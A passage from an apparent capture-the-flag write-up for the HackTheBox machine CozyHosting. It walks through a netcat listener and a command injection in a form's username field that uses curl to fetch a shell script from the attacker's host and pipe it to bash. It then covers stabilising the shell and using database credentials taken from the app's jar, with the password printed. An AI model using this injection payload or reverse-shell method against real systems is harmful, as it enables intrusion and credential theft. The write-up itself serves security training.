3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Considering this, the form's parameter can be used to call a reverse shell to establish a connection back to a listener.</p><p>First, a listener is started</p><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/cozyhosting/exploits]
&#9492;&#9472;$ nc -lvnp 4000
listening on [any] 4000 ...</code></pre><p>Then, a simple shell is scripted and served for the target server to retrieve and execute.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DoWf!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DoWf!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 424w, https://substackcdn.com/image/fetch/$s_!DoWf!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 848w, https://substackcdn.com/image/fetch/$s_!DoWf!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 1272w, https://substackcdn.com/image/fetch/$s_!DoWf!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DoWf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png" width="575" height="281" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:281,&quot;width&quot;:575,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:38266,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DoWf!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 424w, https://substackcdn.com/image/fetch/$s_!DoWf!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 848w, https://substackcdn.com/image/fetch/$s_!DoWf!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 1272w, https://substackcdn.com/image/fetch/$s_!DoWf!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2e28a925-3671-4a3d-b941-368cf1a7106a_575x281.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The HTTP POST Request is modified to curl the file from the server.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cuIu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cuIu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 424w, https://substackcdn.com/image/fetch/$s_!cuIu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 848w, https://substackcdn.com/image/fetch/$s_!cuIu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 1272w, https://substackcdn.com/image/fetch/$s_!cuIu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cuIu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png" width="454" height="561" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:561,&quot;width&quot;:454,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78476,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cuIu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 424w, https://substackcdn.com/image/fetch/$s_!cuIu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 848w, https://substackcdn.com/image/fetch/$s_!cuIu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 1272w, https://substackcdn.com/image/fetch/$s_!cuIu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8fafcd9-8c1d-43b2-a214-c73e0a6856c7_454x561.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This initially fails, but the POST Request is amended to pipe the file to bash.</p><pre><code>host=127.0.0.1&amp;username=emdeh;curl${IFS}http://10.10.14.12:8000/shell.sh|bash;</code></pre><p>The updated request was successful, and the reverse shell connection was established in the <strong>app</strong> user context.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Q00x!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Q00x!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 424w, https://substackcdn.com/image/fetch/$s_!Q00x!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 848w, https://substackcdn.com/image/fetch/$s_!Q00x!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 1272w, https://substackcdn.com/image/fetch/$s_!Q00x!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Q00x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png" width="645" height="174" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/fc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:174,&quot;width&quot;:645,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:29230,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Q00x!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 424w, https://substackcdn.com/image/fetch/$s_!Q00x!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 848w, https://substackcdn.com/image/fetch/$s_!Q00x!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 1272w, https://substackcdn.com/image/fetch/$s_!Q00x!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffc08dd53-7003-49bc-bbfb-1361030035bf_645x174.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>The following was used to stabilise the shell instead<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a>.</p><pre><code>app@cozyhosting:/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
app@cozyhosting:/app$</code></pre><div><hr></div><h1>Lateral movement</h1><p>The shell lands in <strong>/app</strong>, and there is a single .jar file. Unzipping the file reveals three directories.</p><pre><code>unzip -d /tmp/app cloudhosting-0.0.1.jar
app@cozyhosting:/app$ cd /tmp/app
cd /tmp/app
app@cozyhosting:/tmp/app$ ls
ls
BOOT-INF  META-INF  org</code></pre><p>Within <strong>/BOOT-INF/classes</strong> is an <strong>applications.properties</strong> file that contains credentials to a database.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xsuP!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xsuP!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 424w, https://substackcdn.com/image/fetch/$s_!xsuP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 848w, https://substackcdn.com/image/fetch/$s_!xsuP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 1272w, https://substackcdn.com/image/fetch/$s_!xsuP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xsuP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png" width="679" height="434" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:434,&quot;width&quot;:679,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:91223,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!xsuP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 424w, https://substackcdn.com/image/fetch/$s_!xsuP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 848w, https://substackcdn.com/image/fetch/$s_!xsuP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 1272w, https://substackcdn.com/image/fetch/$s_!xsuP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F215c6ef1-4544-439e-9d26-d57cfa404d88_679x434.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Looking at the /home directory, one account named &#8220;Josh&#8221; is identified.</p><p>Attempting to reuse the credentials to SSH to the target as Josh fail.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!RoP6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!RoP6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 424w, https://substackcdn.com/image/fetch/$s_!RoP6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 848w, https://substackcdn.com/image/fetch/$s_!RoP6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 1272w, https://substackcdn.com/image/fetch/$s_!RoP6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!RoP6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png" width="1207" height="869" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:869,&quot;width&quot;:1207,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:135127,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!RoP6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 424w, https://substackcdn.com/image/fetch/$s_!RoP6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 848w, https://substackcdn.com/image/fetch/$s_!RoP6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 1272w, https://substackcdn.com/image/fetch/$s_!RoP6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1a593c57-bc9d-499d-9392-941635e39dbf_1207x869.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Instead, the credentials are used to connect to the database.</p><pre><code>app@cozyhosting:/app$ psql -h 127.0.0.1 -U postgres
psql -h 127.0.0.1 -U postgres
Password for user postgres: Vg&amp;nvzAQ7XxR

psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

postgres=#</code></pre><p>The databases are listed, and the <strong>cozyhosting</strong> one is connected.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mkAv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mkAv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 424w, https://substackcdn.com/image/fetch/$s_!mkAv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 848w, https://substackcdn.com/image/fetch/$s_!mkAv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 1272w, https://substackcdn.com/image/fetch/$s_!mkAv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mkAv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png" width="735" height="650" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:650,&quot;width&quot;:735,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:86879,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mkAv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 424w, https://substackcdn.com/image/fetch/$s_!mkAv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 848w, https://substackcdn.com/image/fetch/$s_!mkAv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2aea2908-45de-45a8-be3e-d37dea4f7918_735x650.png 1272w, 